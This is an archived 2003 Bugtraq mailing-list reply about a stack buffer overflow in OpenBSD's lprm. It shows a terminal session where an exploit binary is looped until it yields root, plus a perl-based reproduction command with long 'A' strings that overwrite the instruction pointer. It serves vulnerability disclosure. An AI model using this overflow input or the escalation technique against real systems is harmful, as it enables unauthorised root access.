Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: potential buffer overflow in lprm (fwd)
From: noir sin <noir () olympos org>
Date: Wed, 5 Mar 2003 21:58:54 -0800 (PST)


A bounds check that was added to lprm in 1996 does its checking too
late to be effective.  Because of the insufficient check, it may
be possible for a local user to exploit lprm to gain elevated
privileges.  It is not know at this time whether or not the bug is
actually exploitable.

a real funny stack overflow! if you got a valid printer setup its instant
root!

there is nothing "potential" about this, it is uid=0 ;pPp

bash-2.05a$ id
uid=1000(noir) gid=10(users) groups=10(users)
bash-2.05a$ while `test .`; do ./lprm_ex; done
lp: unknown printer
Segmentation fault
lp: unknown printer
Segmentation fault
lp: unknown printer
Segmentation fault
lp: unknown printer
# id
uid=1000(noir) euid=0(root) gid=10(users) egid=1(daemon) groups=10(users)
# uname -a
OpenBSD kernfu 3.1 conf#0 i386
#


to repro: lprm -Pvalid_printer_name `perl -e 'print "A"x512'` `perl -e
'print "A"x518'`

this shall get you eip = 0x41414141



  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]